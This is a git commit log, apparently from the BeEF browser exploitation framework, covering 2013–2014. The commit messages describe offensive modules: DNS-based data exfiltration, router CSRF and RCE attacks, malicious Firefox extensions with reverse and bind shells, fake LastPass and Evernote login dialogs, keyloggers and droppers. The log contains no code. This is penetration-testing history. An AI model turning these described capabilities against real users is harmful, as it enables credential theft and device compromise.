d1688395ae #970 Added string to DNS requests to differentiate between normal and data-extrusion DNS requests 2014-06-29 13:04:51 +02:00
antisnatchor
f7df45ebd1 #970 Modified dns.js to support the current way we send data from client to server using DNS. 2014-06-29 12:31:59 +02:00
antisnatchor
2c9633f08f #970 Added debug module to test DNS tunnel (client-to-server). 2014-06-29 12:31:06 +02:00
antisnatchor
015693038a Merge branch 'master' of https://github.com/beefproject/beef 2014-06-29 11:38:34 +02:00
antisnatchor
aafceec4cb Disabled legacy DNS-tunnel IPC module. 2014-06-29 11:37:55 +02:00
Michele Orru
1681f69511 Merge pull request #1027 from soh-cah-toa/master
DD-WRT v24 SP1 CSRF and RCE Modules
2014-06-28 17:20:23 +02:00
antisnatchor
fb0cd7a195 #970 started working on client-to-server DNS channel. 2014-06-28 15:23:50 +02:00
antisnatchor
cf4252585a Added HTA-powershell client-side attack (IE only). 2014-06-27 11:44:39 +02:00
antisnatchor
9f76913b11 Fixed bug that was preventing dynamic payload options to be set with metasploit modules. 2014-06-25 13:27:07 +02:00
soh_cah_toa
f490faa858 Added module for DD-WRT v24 SP1 RCE vulnerability (issue #1006). 2014-06-16 09:56:27 -04:00
soh_cah_toa
fd46915bf2 Added module for DD-WRT v24 SP1 CSRF vulnerability (issue #1006). 2014-06-16 09:48:14 -04:00
soh_cah_toa
ce8e943be7 Merge branch 'master' of git://github.com/beefproject/beef 2014-06-16 09:44:53 -04:00
BWZ
76d750681f livecd fix for permission issues 2014-06-15 18:15:57 +10:00
BWZ
055b5eec32 fixes bug in enabling livecd ssh 2014-06-15 17:14:36 +10:00
Brendan Coles
8e55545abd Add support for Firefox 30 & 31 2014-06-12 09:26:19 +00:00
Michele Orru
a4cbb9f74d Merge pull request #1023 from Nbblrr/master
Fixes the bug in rickroll module (#1017)
2014-06-05 11:04:20 +02:00
Nbblrr
d0fbba2e2d Fixes bug in rickroll module (#1017) 2014-06-05 10:53:20 +02:00
Brendan Coles
32fab589d6 Add Asus RT Series Get Info module 2014-05-20 16:59:40 +00:00
Brendan Coles
dbeedb1d92 Use beef.net for URI 2014-05-10 09:50:38 +00:00
Brendan Coles
195e2ab830 return error message
prevents HTTP 404 iframe for '/lp/indexFF.html'
2014-05-10 19:01:00 +10:00
Christian Frichot
6e50384719 Fake Chrome Evernote Clipper Extension authentication dialog. A new SE module 2014-05-07 19:13:04 +08:00
Christian Frichot
55e36ff095 Detect the presense of Evernotes Clipper Extension in Chrome 2014-05-07 19:11:27 +08:00
Christian Frichot
0ec566ac95 Updates to Fake Lastpass module. New impersonates updated Chrome extension. No longer pretends to target FF 2014-05-07 19:09:07 +08:00
Christian Frichot
f628ce7ae9 Browser Module to remove the BeEF hook.js script element 2014-05-07 18:57:26 +08:00
Michele Orru
8e6125f8c6 Merge pull request #1013 from bcoles/firephp
Add FirePHP <= 0.7.1 RCE module
2014-05-05 14:39:20 +02:00
Brendan Coles
abe1370a50 Add FirePHP <= 0.7.1 RCE module
@Wireghoul

Fixes issue #885
2014-05-05 10:32:59 +00:00
Michele Orru
4c2f80a3bc Merge pull request #1009 from soh-cah-toa/master
DNS Extension 2.0 Reimplementation
2014-05-05 12:11:38 +02:00
Brendan Coles
cd311b00e9 Merge pull request #1011 from thialfihar/make-curl-follow-redirects-on-github
Make curl follow redirects on github @thialfihar
2014-05-05 04:08:58 +10:00
Thialfihar
9068f91a63 Make curl follow redirects on github
GitHub has started to redirect raw.github.com to
raw.githubusercontent.com, breaking the installation scripts.
Paramter -L makes curl follow the redirect.
2014-05-04 13:16:58 +02:00
soh_cah_toa
bac0b5c57f Merge remote-tracking branch 'upstream/master' 2014-05-04 00:28:29 -04:00
soh_cah_toa
07f1594a7a Removed old DNS RESTful API temporary test suite.
Previously, this was used to make writing tests easier without having to
run the entire integration test suite (of which it is still a part of).
Somehow it accidentally got committed.
2014-05-03 20:42:40 -04:00
soh_cah_toa
6bf0f9d648 Updated DNS spoofer in social engineering extension. 2014-05-02 22:21:56 -04:00
Brendan Coles
e8e4180eee Fix regex 2014-05-01 16:36:01 +10:00
Brendan Coles
c61dee7275 Add support for Firefox 29
* https://developer.mozilla.org/en-US/Firefox/Releases/29
* https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/codePointAt
2014-05-01 02:33:43 +10:00
Michele Orru
5d3df16dc7 Merge pull request #1005 from zeroSteiner/rest-api-version
Support pulling the server version through the REST API
2014-04-29 11:18:24 +02:00
soh_cah_toa
8dac5c95eb Fixed #is_valid_domain? regex to include appended dot. 2014-04-28 22:21:39 -04:00
soh_cah_toa
e1c27f4feb Removed support for TXT resource record.
Like the HINFO and MINFO RR's, TXT is vulnerable to RCE attacks and has
no purpose at the moment. TXT may be needed in the future (e.g. data
exfiltration) which is why it has been removed separately.
2014-04-28 20:34:56 -04:00
soh_cah_toa
26cd0f08ad Removed support for HINFO and MINFO resource records.
These RR's are very difficult to validate and, in their current state,
are vulnerable to RCE attacks. Furthermore, BeEF does not have a use for
these RR's.
2014-04-28 20:28:47 -04:00
soh_cah_toa
c63a55962a Added unless modifier to prevent displaying no upstream servers.
Even though #print_more will display nothing since ''.split("\n").each()
iterates 0 times, it will still be called without this modifier which is
unnecessary.
2014-04-28 20:20:32 -04:00
Kevin Polulak
e8fc288ff7 Merge pull request #2 from bcoles/patch-2
Update model.rb - Throw 'UnknownDnsResourceError'
2014-04-28 20:14:48 -04:00
Kevin Polulak
fc024c8a8c Merge pull request #1 from bcoles/patch-1
use up_protocol in banner
2014-04-28 20:10:22 -04:00
Spencer McIntyre
76c09aa38a Support pulling the server version through the REST API 2014-04-28 15:35:01 -04:00
Christian Frichot
fe14601dfc Added -i --interactive option at commandline to launch console shell 2014-04-27 07:12:53 +08:00
Brendan Coles
e6b74d5186 Update model.rb - Throw 'UnknownDnsResourceError'
Throw `UnknownDnsResourceError` instead of `InvalidDnsResourceError`

Prevents `[20:30:55][!] Internal error while adding DNS rule (uninitialized constant BeEF::Core::Models::Dns::Rule::InvalidDnsResourceError)` for invalid user supplied DNS response types.

'BeEF::Core::Models::Dns::Rule::InvalidDnsResourceError' does not exist, and it's unlikely we'll need to differentiate between invalid and unknown resource types.
2014-04-27 00:14:25 +10:00
Brendan Coles
0438cf422f use up_protocol in banner 2014-04-26 21:50:46 +10:00
soh_cah_toa
3b3d7fe95e Moved Thread/EventMachine creation inside of #run.
This cleans up the API a bit by removing the requirement of placing #run
inside a Thread.new {EventMachine.next_tick {}} block. That should not
be the caller's responsibility.
2014-04-25 13:14:43 -04:00
soh_cah_toa
9b3dfacce1 Added support for upstream nameservers.
Previously, upstream nameservers were configured by default even if the
config file did not specify them. Now upstream nameservers are only
used if they are specified. If none are given, then NXDOMAIN is
returned for unresolvable requests.
2014-04-25 13:06:33 -04:00
soh_cah_toa
82e4b1eac7 Implemented default DNS address/port/protocol values.
Even though it is unlikely that a user would remove these options from
the DNS config file, it is still good practice to have these safeguards
in place.
2014-04-25 10:32:19 -04:00
soh_cah_toa
1d5afbb81e Added Dns::Server attribute to DNS REST router.
This is primarily intended to add clarity by reducing clutter. Moreover,
it also has the side effect of improving performance very slightly by
removing the overhead of calling #instance numerous times.
2014-04-25 10:14:05 -04:00
soh_cah_toa
2e318030da Fixed typo in debug message for #process. 2014-04-25 10:09:38 -04:00
bcoles
34ec20cd0d Update version to 0.4.5.1-alpha 2014-04-25 16:12:25 +09:30
soh_cah_toa
acc6114541 Re-implemented DELETE /rule/:id handler for new API.
Removed old #format_response method since this is now handled by the
Rule model.
2014-04-24 23:35:21 -04:00
soh_cah_toa
32db367ada Refactored ID filter checks into #is_valid_id?.
Added call to #remove_rule! as well.
2014-04-24 23:28:11 -04:00
soh_cah_toa
bca9eccdf0 Implemented GET ruleset, rule, and POST rule handlers.
Many filter checks were removed because the new DNS extension performs
validation before performing any database operation.

Modified message for InvalidParamError to be more modular.
2014-04-24 16:40:19 -04:00
soh_cah_toa
94fc2805d1 Added ID filter checks to #get_rule.
This is ensures that ID validation occurs when using either the Ruby API
or the RESTful API. Previously, validation was only done for the
RESTful API.
2014-04-24 16:36:44 -04:00
soh_cah_toa
7b229a2a20 Added new #validate_pattern method.
Uses BeEF::Filters to ensure that empty, null, and non-printable
patterns are tossed out. Added new InvalidDnsPatternError exception
class to handle these cases.

Renamed #validate_response to #format_callback since the name is more
appropriate.
2014-04-24 14:26:37 -04:00
Brendan Coles
c1a7b1ec08 Use filter 2014-04-25 04:17:17 +10:00
Brendan Coles
9af8e6bd00 Add CPU type filter 2014-04-25 04:16:53 +10:00
Brendan Coles
a317b223ca Update description 2014-04-25 03:52:57 +10:00
soh_cah_toa
ad25c49b2d Refactored IP filters into parameterized #is_valid_ip?.
Using parameterized methods is better structured coding style rather
than defining multiple similarly-behaved methods.

annex_region('crimea') # good
vs.
annex_crimea # bad
2014-04-24 13:11:00 -04:00
bcoles
6fe8772710 Refactor browser component details 2014-04-25 02:11:58 +09:30
Wade Alcorn
94b636c6fd Fixed reference to origin 2014-04-24 19:36:58 +10:00
Wade Alcorn
8dfa674134 Merge branch 'master' of github.com:beefproject/beef 2014-04-24 19:36:10 +10:00
Wade Alcorn
52c2ef45e1 Fixed reference to origin 2014-04-24 14:44:26 +10:00
Christian Frichot
f17569cc35 Chrome Browser detection up to v36 for Desktop and iOS 2014-04-24 11:48:42 +08:00
soh_cah_toa
01ad87250f Removed unnecessary run_server unit tests.
Setting the server address:port is now handled by RubyDNS. Therefore,
verifying this via unit tests is no longer necessary.
2014-04-23 22:02:19 -04:00
soh_cah_toa
820ba3a2e7 Updated interface unit tests with new method names. 2014-04-23 21:50:23 -04:00
soh_cah_toa
3ed4098c2f Added unit test assertions for new config options. 2014-04-23 21:47:45 -04:00
soh_cah_toa
e791fca8a9 Updated #validate_response to use BeEF::Filters. 2014-04-23 18:07:27 -04:00
soh_cah_toa
5d73d7f084 Improved BeEF::Filters support for IPv4 and IPV6.
Changed regex in #is_valid_ip? to be more strict since it previously
would have matched an invalid IP such as 999.999.999.999. Changed its
name to #is_valid_ipv4?.

Added new #is_valid_ipv6? method that validates IPv6 addresses. It is
very comprehensive and will match normal IPv6 addresses, zero
compressed, link-local with zone index, and IPv6 addresses that have
IPv4 embedded, mapped, and translated.

Added new #is_valid_domain? method that validates domain names.
2014-04-23 17:49:41 -04:00
soh_cah_toa
6385ddf85b Changed data type of :callback property to Object.
Using String was sufficient but this way is more consistent.
2014-04-23 16:50:47 -04:00
soh_cah_toa
bd9891dc4d Implemented #validate_response method in Dns::Rule.
Perhaps the ugliest part of the DNS extension, it is also the most
crucial. This method ensures that a given resource and response are
appropriate for each other. It must also prevent RCE vulns since the
input is eval'd later on.

However, HINFO, MINFO, and especially TXT validation is not strict
enough. These three need to be reviewed scrupulously since a 100%
anti-RCE solution may prove to be difficult.
2014-04-23 16:39:26 -04:00
soh_cah_toa
53a54de5fe Added @database to Dns::Server as a model reference. 2014-04-23 16:36:16 -04:00
soh_cah_toa
3029d3cea8 Implemented #process method that handles requests.
The DNS server now searches for matching rules and sends its response
when handling incoming requests. However, all rules are still assigned
the same callback for the moment.
2014-04-23 13:28:34 -04:00
soh_cah_toa
0dd9c193ec Appended ! to #remove_rule and #remove_ruleset.
Adhering to the Ruby convention, this indicates that these methods
mutate the receiver and, therefore, should be considered dangerous.
2014-04-23 12:53:41 -04:00
soh_cah_toa
2303851498 Implemented #remove_ruleset method. 2014-04-23 12:50:42 -04:00
soh_cah_toa
56c686de64 Implemented #get_ruleset method.
Also refactored #get_rule to use new #to_hash helper method since
2014-04-23 12:42:39 -04:00
soh_cah_toa
ed986e4ed5 Implemented #remove_rule method. 2014-04-23 12:07:59 -04:00
soh_cah_toa
b345da0203 Implemented #get_rule method. 2014-04-23 12:00:23 -04:00
soh_cah_toa
007f6302df Re-implemented #generate_id in Core::Main::Crypto.
This is a better home for it since that is where other OpenSSL
crypto/token generator methods reside.
2014-04-23 11:41:11 -04:00
soh_cah_toa
861d66207d Implemented new Rule model and #add_rule method. 2014-04-23 11:27:49 -04:00
soh_cah_toa
8c4ece815e Removed obsolete Sourcify reference in loader.rb. 2014-04-23 11:19:17 -04:00
soh_cah_toa
7386a7708b Changed Dns::Server to use RubyDNS 0.7.x API.
At this point, it is just a prototype that resolves any request to
1.1.1.1.
2014-04-23 11:14:35 -04:00
soh_cah_toa
f4d3858af6 Removed unneeded files in ruby/ subdirectory.
Changed Logger overrides to disable logging instead of using BeEF's
print_* methods. RubyDNS logging is too verbose. The DNS extension will
perform debug logging on its own.
2014-04-22 22:56:21 -04:00
soh_cah_toa
d4ba3ec98c Re-enabled DNS extension in config files. 2014-04-22 22:50:31 -04:00
soh_cah_toa
0f7f86e0f3 Changed Gemfile to use RubyDNS 0.7.0.
Also removed Sourcify since it's no longer needed.
2014-04-22 22:46:38 -04:00
Brendan Coles
82e09e88ff Merge pull request #999 from bcoles/nginx
Add nginx imitation
2014-04-23 00:16:23 +10:00
bcoles
2ee9fb6ccc Add nginx imitation 2014-04-22 22:49:21 +09:30
Brendan Coles
d0cdb9ec90 Update config.yaml
Edit comments for consistency.
2014-04-22 21:05:05 +10:00
Brendan Coles
ed5a11479a Merge pull request #998 from bcoles/geoip
Add support for MaxMind GeoIP
2014-04-22 02:31:54 +10:00
bcoles
4529dd1a6c Add support for MaxMind GeoIP 2014-04-22 00:58:49 +09:30
Brendan Coles
a131e670bc Merge pull request #995 from bcoles/update_print
Update print methods
2014-04-20 20:20:18 +10:00
Brendan Coles
17f265cb83 module.rb minor code cleanup 2014-04-20 20:12:33 +10:00
bcoles
354c3f1af0 Downgrade error to warning 2014-04-20 18:52:14 +09:30
bcoles
7689af8e2c Add print_warning, print_good and print_status 2014-04-20 17:24:25 +09:30
Brendan Coles
691ae19426 Update Gemfile
Add comments

Add gems for MySQL/PostgreSQL (commented out)

Add Twitter gem dependency (commented out)
2014-04-17 13:40:59 +10:00
antisnatchor
f2c83ced4d Merge remote-tracking branch 'origin/master' 2014-04-14 11:48:23 +02:00
antisnatchor
940b03e249 Removed twitter dependency from Gemfile as it's causing depenedencies issues sometimes, and the twitter notification feature isn't that used anyway. 2014-04-14 11:46:42 +02:00
Michele Orru
78a0c689be Merge pull request #992 from RootPrivileges/windows-pretty-theft
Add a Windows prompt to the pretty_theft module
2014-04-14 11:41:16 +02:00
RootPrivileges
5ddb88db73 Add a Windows prompt to the pretty_theft module 2014-04-14 10:23:30 +01:00
Brendan Coles
f526f39f10 Warn about Heartbleed if opemnssl is vulnerable
Warn user if the OpenSSL library is vulnerable to Heartbleed and HTTPS is enabled.

Part of #990
2014-04-13 03:33:32 +10:00
Brendan Coles
5d1d519fc2 unless proxy_clients.empty?
replace `unless proxy_clients.nil?` with `unless proxy_clients.empty?`
2014-04-13 02:31:52 +10:00
Brendan Coles
d9fd2b994e Add browser proxy details to browser summary 2014-04-13 02:29:09 +10:00
Brendan Coles
dde007ce86 Merge pull request #987 from ecneladis/master
Adding module for getting battery status
2014-03-25 21:25:57 +11:00
ecneladis
6044de5604 Adding module for getting battery status 2014-03-24 12:46:43 +01:00
Michele Orru
4e3f0366bf Merge pull request #986 from koto/master
Added payloads for Chrome extensions injector
2014-03-22 15:39:27 +01:00
antisnatchor
2cf4e7e055 Re-added csrf_to_beef tool (removed for mistake, sorry) 2014-03-22 15:31:55 +01:00
Krzysztof Kotowicz
3947bac044 added payloads 2014-03-22 11:28:27 +01:00
Brendan Coles
99c251610d Merge pull request #985 from veshi/master
trivial: fix some misspelled words.
2014-03-20 17:26:25 +11:00
Adrian Kalaveshi
e139ad121e trivial: fix some misspelled words. 2014-03-19 17:06:56 -07:00
Michele Orru
0664ce688e Merge pull request #984 from bcoles/getDefaultBrowser
Add 'beef.os.getDefaultBrowser'
2014-03-19 17:20:32 +00:00
bcoles
7d6eb4b714 Add 'beef.os.getDefaultBrowser' 2014-03-20 02:49:08 +10:30
bcoles
97898d453c Moved Detect Default Browser module to Host category 2014-03-20 00:58:16 +10:30
bcoles
fab0bf6b24 Add Detect HP module 2014-03-20 00:52:25 +10:30
bcoles
4a603b9f00 Add IE10 resource URL browser fingerprint 2014-03-19 23:49:21 +10:30
bcoles
73c42f34f6 Add support for Firefox 28 2014-03-19 11:02:25 +10:30
Michele Orru
ca13af9f4e Merge pull request #983 from koto/se-talk
Added new files, readme and contact info to chrome extensions exploits
2014-03-18 12:01:08 +00:00
Krzysztof Kotowicz
2105121c93 added new files, readme and contact info 2014-03-18 12:56:57 +01:00
antisnatchor
98ca29e51e Moved xsrf_to_beef in its own dir. 2014-03-16 15:48:39 +00:00
antisnatchor
4db376f11c Merge branch 'master' of https://github.com/beefproject/beef 2014-03-16 15:47:16 +00:00
antisnatchor
df4ec41538 Added Chrome Extension exploitation tools from me and Kkotowicz. 2014-03-16 15:45:16 +00:00
bcoles
ee1e29341e Move firefox extension modules to social engineering directory 2014-03-16 18:18:18 +10:30
Brendan Coles
7a8115211d Merge pull request #981 from beefproject/MSF-Target-Browsers
Added support for target browser detection for MSF modules #530
2014-03-16 13:39:03 +11:00
antisnatchor
05979af3a2 Treating IE9 and 10 as the same for the ui_abuse_ie attack 2014-03-14 13:22:16 +00:00
antisnatchor
4a733a6f74 Finishing ui_abuse_ie module development. Minor fix on one animated gif remains. Tested on IE9/10 on Win7 successfully. 2014-03-13 17:37:04 +00:00
antisnatchor
d4fd537108 Continued working on ui_abuse_ie module 2014-03-12 20:58:39 +00:00
antisnatchor
14f1991542 Fixed config.yaml issue in ui_abuse_ie module. 2014-03-12 17:15:22 +00:00
antisnatchor
1c055febeb Working on new exploit module that abuses UI expectations on IE9/10 tricking the user to run a (signed) exe. Based on Rosario Valotta research. 2014-03-12 16:59:09 +00:00
Brendan Coles
b3c4753114 Merge pull request #976 from kxynos/master
Remove stuck iframes and get html from page and iframes modules

Thanks @kxynos
2014-03-11 09:08:02 +11:00
Kosta Xynos
44058f0025 Remove stuck iframes and get html from page and iframes modules 2014-03-09 21:55:21 +00:00
antisnatchor
afdb7044d8 BeEF debug == false by default 2014-03-06 17:34:33 +00:00
Michele Orru
161729bba5 Merge pull request #975 from kxynos/master
Added support for Asus RT-N66U and DSL-N66U Command Execution via CSRF
2014-03-06 17:32:09 +00:00
antisnatchor
8f4f51874d Fixed issues with the DNS server RESTful API. Now it works. 2014-03-06 17:11:27 +00:00
Kosta Xynos
25550f9cfa Add Asus RT-N66U and DSL-N66U Command Execution via CSRF support 2014-03-06 16:20:44 +00:00
antisnatchor
46e165df5e Added support for browser language detection. Also added a new entry in Browser Details and JS call beef.browser.getBRowserLanguage() 2014-03-06 12:35:02 +00:00
bcoles
3494542b54 Make upstream DNS server configurable 2014-03-04 00:56:41 +10:30
bcoles
c11d4d40ea replace backticks with IO.open 2014-03-03 22:31:14 +10:30
antisnatchor
2f7ccf033c Commented out the tests for DNS code. 2014-03-02 16:14:56 +00:00
antisnatchor
91fa8f4e63 Various fixes for the DNS extension code. 2014-03-02 16:05:57 +00:00
antisnatchor
cdb050a940 Added more delay to beef_start Rakefile task. 2014-03-02 16:05:19 +00:00
antisnatchor
39e672f420 Fixed 2 RCE bugs in the DNS extension code (unsafe eval calls). 2014-03-02 15:43:36 +00:00
antisnatchor
ec9cf4d460 Manually merged DNS extension code (pull request 967 from @soh-cah-toa) 2014-03-02 12:56:33 +00:00
antisnatchor
9dcff5184d Manually merged DNS extension code (pull request 967 from @soh-cah-toa) 2014-03-02 12:40:18 +00:00
bcoles
32d30a8176 Remove the method from a couple of 'beef.dom.createIframe' calls
Part of issue #969
2014-02-28 23:49:27 +10:30
Brendan Coles
55af5625bb Merge pull request #972 from pgrohe/pgrohe/issue969
Pgrohe/issue969
2014-03-01 01:06:41 +11:00
Ben Passmore
52aacdde66 Removed bundle install from Rakefile for TeamCity 2014-02-26 15:45:06 +10:00
antisnatchor
7639537d11 Added support for Chrome 32 and 33. 2014-02-25 13:31:59 +00:00
Phil Grohe
d050198afa Clean up .gitignore file. Accidentally committed changes to it to exclude my Sublime Text 2 project files. 2014-02-23 12:04:52 -05:00
Phil Grohe
f274001a65 Revised comments on beef.dom.createIframe() to reflect removal of 'method' parameter & form submitting behavior. Updated existing function calls to beef.dom.createIframe() to remove 'method' parameter. 2014-02-22 11:57:56 -05:00
Phil Grohe
cc51e2c294 Initial revision of beef.dom.createIframe() Removed 'method' parameter and code path that creates a form and uses created iframe as target. 2014-02-22 11:18:12 -05:00
Wade Alcorn
7554449218 Version number updated 2014-02-22 06:42:16 +10:00
Saafan
a4973a5365 Merge pull request #946 from offensivecoder/update_twitter_require_version_5
Update twitter require version 5
2014-02-21 00:48:46 +02:00
bcoles
bcb8a1b858 Merge branch 'master' of https://github.com/beefproject/beef 2014-02-14 10:02:00 +10:30
bcoles
4cbe074259 Add support for IE11 2014-02-14 10:01:39 +10:30
Wade Alcorn
744b7649e7 Corrected some usages of domain to origin 2014-02-08 09:56:31 +10:00
soh_cah_toa
a75a95b663 Implemented DNS spoofer in social engineering extension.
The /api/seng/clone_page endpoint now accepts a boolean "dns_spoof"
key in the JSON request. This adds a DNS record pointing the
cloned webpage to the BeEF server.

Integration tests included.
2014-02-04 16:18:12 -05:00
bcoles
5084083e23 Update BeEF version to 0.4.4.10-alpha 2014-02-01 21:40:18 +10:30
bcoles
c52d3651e7 Fix indentation 2014-01-28 20:54:57 +10:30
bcoles
563296f67b Add malicious FF extension (reverse shell) module 2014-01-27 08:30:37 +10:30
bcoles
d230cfa593 trivial edits for consistency 2014-01-27 07:29:00 +10:30
bcoles
2b44c9184d Add malicious FF bindshell module 2014-01-27 07:21:44 +10:30
bmantra
b2d03e9364 Merge pull request #963 from bmantra/master
Inital version of CookieJar overflow module.  And minor bugfix of active…  closes #935
2014-01-19 11:02:13 -08:00
bmantra
0e57fb0be1 Inital version of CookieJar overflow module. And minor bugfix of active fax overflow module. 2014-01-19 19:58:14 +01:00
Michele Orru
275db51dd2 Merge pull request #962 from bcoles/csrf_to_beef
Add CSRF to BeEF module tool
2014-01-14 02:23:07 -08:00
bcoles
9e683d03bf Add Firefox 27 support 2014-01-13 23:22:29 +10:30
bcoles
71b539940b Add color, output functions and Ruby version check 2014-01-13 00:42:32 +10:30
bcoles
8ea8098fe2 Validate module class/dir name 2014-01-13 00:26:03 +10:30
Brendan Coles
ce5b576de1 Merge pull request #961 from bcoles/createIframeXsrfForm_enctype
Add encoding type argument 'enctype' to 'createIframeXsrfForm()'
2014-01-12 05:11:42 -08:00
bcoles
048405d4f1 Add dynamic module options 2014-01-12 19:09:11 +10:30
bcoles
83ed8558b7 Add encoding type argument 'enctype' to 'createIframeXsrfForm()' 2014-01-12 02:34:24 +10:30
bcoles
c0dee2fe54 Add form encoding type support 2014-01-12 00:28:14 +10:30
bcoles
e50d681a64 Add BozoCrack module 2014-01-11 23:27:13 +10:30
bcoles
1f83c2a63f Add Redis IPEC module 2014-01-08 22:22:22 +10:30
antisnatchor
9060e4c64f Issue #951: added notes about Windows installation. 2014-01-06 16:34:04 +00:00
antisnatchor
277d205663 Issue #951: added notes about Windows installation. 2014-01-06 16:29:11 +00:00
antisnatchor
4732d66586 Fixed issue #951: BeEF can now be installed correctly on Windows. 2014-01-06 16:13:32 +00:00
antisnatchor
927f8efaed Updated README file 2014-01-06 14:52:51 +00:00
antisnatchor
10c9988493 Updated README file 2014-01-06 14:49:19 +00:00
antisnatchor
a0a36d333a Added a note about using SSL when connecting to Metasploit. Related to issue #958 2014-01-06 14:14:19 +00:00
antisnatchor
6a8a103b8b Final fix for issue #957 2014-01-06 11:03:40 +00:00
bcoles
3d5ecd0787 Add tools/csrf_to_beef - initial commit 2014-01-05 12:13:49 +10:30
bcoles
88019d21a3 Add error message for nil command module key 2014-01-05 05:45:48 +10:30
bcoles
faafa9a196 Modify customhook extension to allow multiple hook points 2014-01-04 14:02:43 +10:30
bcoles
7c977ef1aa Move 'modules/exploits/sqlitemanager_xss/' to 'modules/exploits/xss/' directory 2014-01-04 11:48:10 +10:30
bcoles
f97087c37a Change hard-coded 'hook.js' to 'beef.http.hook_file' 2014-01-04 11:33:58 +10:30
bcoles
6d449672ae Trivial edits to 'secret_page.html' demo page 2014-01-04 09:06:14 +10:30
antisnatchor
b43fbce044 Fixed issue #957. The requester and proxy now work again after the jquery update. 2014-01-03 13:48:31 +00:00
antisnatchor
2899886543 Added more client-side debugging/logging features to better trace errors when a module fails. 2014-01-03 11:52:00 +00:00
Wade Alcorn
8003f1a47f Updated the copyright year to 2014 2014-01-01 16:34:15 +10:00
bcoles
b307891364 Add 'IE MS13-069 CCaret Use-After-Free' exploit module from MSF 2013-12-30 22:53:18 +10:30
bcoles
f0d989f6e9 Update description 2013-12-30 22:48:51 +10:30
bcoles
fe37a14adc Add 'IE MS12-004 midiOutPlayNextPolyEvent Heap Overflow' exploit module from MSF 2013-12-30 10:59:25 +10:30
bcoles
bece5c1438 Add wifi_pineapple_csrf module (untested and disabled) 2013-12-30 07:58:07 +10:30
bcoles
1862870b11 Get all input fields
Update 'Get Form Values' module to retrieve all input fields
on the hooked page - not just input fields inside of form elements.

This makes more sense.
2013-12-30 07:19:37 +10:30
bcoles
02e6d4db11 Rescue StandardError rather than Exception 2013-12-30 06:41:07 +10:30
bcoles
c9f0b73100 Add config path to error message 2013-12-30 05:27:27 +10:30
bcoles
d17d1357c6 Upgrade jquery from 1.5.2 to 1.10.2 2013-12-29 23:49:30 +10:30
bcoles
6efa01cc22 Upgrade jquery from 1.5.2 to 1.10.2 2013-12-29 23:39:06 +10:30
bcoles
91b06ca158 Add support for Firefox 26 2013-12-22 19:16:22 +10:30
antisnatchor
b28a79b56a Enhancing the keylogger to log also shift/alt/ctrl 2013-12-15 16:01:50 +00:00
bmantra
adde5275af Merge pull request #950 from bmantra/master
2 seconds is more than enough to send a fax :p
2013-11-29 12:27:59 -08:00
bmantra
94e98f2fbb 2 seconds is more than enough to send a fax :p 2013-11-29 21:25:35 +01:00
bmantra
8a90f37cd8 Merge pull request #949 from bmantra/master
add module for Cross-Site Faxing (XSF)
2013-11-29 12:10:11 -08:00
bmantra
7afa52ec99 add module for Cross-Site Faxing (XSF) 2013-11-29 21:06:36 +01:00
bmantra
513e61aff2 Merge pull request #948 from bmantra/master
add new IPE with ActiveFax 5.01
2013-11-29 10:22:26 -08:00
bmantra
d7116b8f08 add IPE with ActiveFax 5.01 2013-11-29 19:18:37 +01:00
Christian Frichot
924717d6fa Support for Chrome version 31 in browser detection 2013-11-25 16:38:55 +08:00
Marc Wickenden
f2ba3b55e8 require version 5 of the twitter gem due to removal of Twitter.configure method 2013-11-24 00:20:08 +00:00
Marc Wickenden
91575adcb2 Merge branch 'master' of https://github.com/beefproject/beef 2013-11-24 00:16:36 +00:00
bcoles
db02b982bc Merge branch 'master' of https://github.com/beefproject/beef 2013-11-05 16:00:55 +10:30
Brendan Coles
5df78c1284 Merge pull request #943 from gcattani/FakeLastPass
Module Update: Fake LastPass
2013-11-04 22:18:14 -08:00
bcoles
8875674f3b Update version to '0.4.4.9-alpha' 2013-11-05 15:47:39 +10:30
bcoles
ce2b5293af Add support for Firefox 25 2013-11-05 14:45:27 +10:30
gcatt
612d0d91bb Module Update: Fake LastPass
Updated Firefox frame in order to look more similar to the real one.
2013-11-04 15:41:31 +01:00
bcoles
05502a3c91 fix bug preventing loading of 'replace_video_fake_plugin' module 2013-11-04 15:52:54 +10:30
Michele Orru
441ccbbfce Merge pull request #941 from gcattani/LcamtufDownload
Module Update: lcamtuf Download
2013-10-30 10:31:57 -07:00
gcatt
f1df608f64 Module Update: lcamtuf Download
Updated Adobe Flash Player URL to the current one.
2013-10-30 18:29:44 +01:00
Michele Orru
24bf95ff16 Merge pull request #940 from gcattani/FakeFlashUpdate
Module Update: Fake Flash Update
2013-10-30 10:15:28 -07:00
gcatt
9987f0781f Module Update: Fake Flash Update
Updated the prompted picture and part of the module.
2013-10-30 17:05:01 +01:00
bcoles
41bfb8e995 Fix bug with Unity Web Player detection
Fix issue #910
2013-10-17 17:54:16 +10:30
Michele Orru
77950ae680 Merge pull request #938 from gcattani/hasUnity
Module: Detect Unity Web Player
2013-10-15 06:53:41 -07:00
gcatt
d4c69f2bfd Module: Detect Unity Web Player 2013-10-15 15:47:47 +02:00
bcoles
8e6751611d Add beef.browser.getPageHead() and beef.browser.getPageBody()
Update 'Get Page HTML' module to use these functions

Tested on IE6, FF22, C28

Fix issue #518
2013-10-13 03:37:15 +10:30
bcoles
09443675cc Fix bug in fake_notification_ff module 2013-10-12 00:43:54 +10:30
bcoles
70cac51a5d Add error check for missing dropper 2013-10-11 23:14:56 +10:30
antisnatchor
69ff8c0013 Added rubyzip dependency to core.rb. Fixed a bug in dom.js when attaching applets for IE. 2013-10-10 20:54:29 +01:00
antisnatchor
050da281ac Modified Gemfile. Added missing directory for Firefox Extension dropper module. 2013-10-10 20:47:14 +01:00
antisnatchor
5dd46ffd72 From antisnatchor with love. New module: malicious Firefox Extension dropper. Based on @mihi42 FF extension. 2013-10-10 15:18:03 +01:00
antisnatchor
45c51180a6 Completely removed deployJava ro prevent CtP issues on Firefox. 2013-10-09 16:11:27 +01:00
antisnatchor
b280d099f8 From antisnatchor with love. New module: Signed Java Applet dropper (win only for now). 2013-10-08 17:02:02 +01:00
antisnatchor
2c750670d7 fixed doctype error in basic.html (IE only) 2013-10-08 15:21:54 +01:00
antisnatchor
71a67defd4 Added new RESTful API method to bind a local file to a url. Also added "dropper" directory into Social Engineering extension. 2013-10-08 14:08:52 +01:00
bcoles
638e037e56 Remove Java and VLC detection from hook init 2013-10-06 19:17:55 +10:30
Christian Frichot
8033b77b73 Support for Chrome version 30 in browser detection 2013-10-06 17:20:01 +08:00
antisnatchor
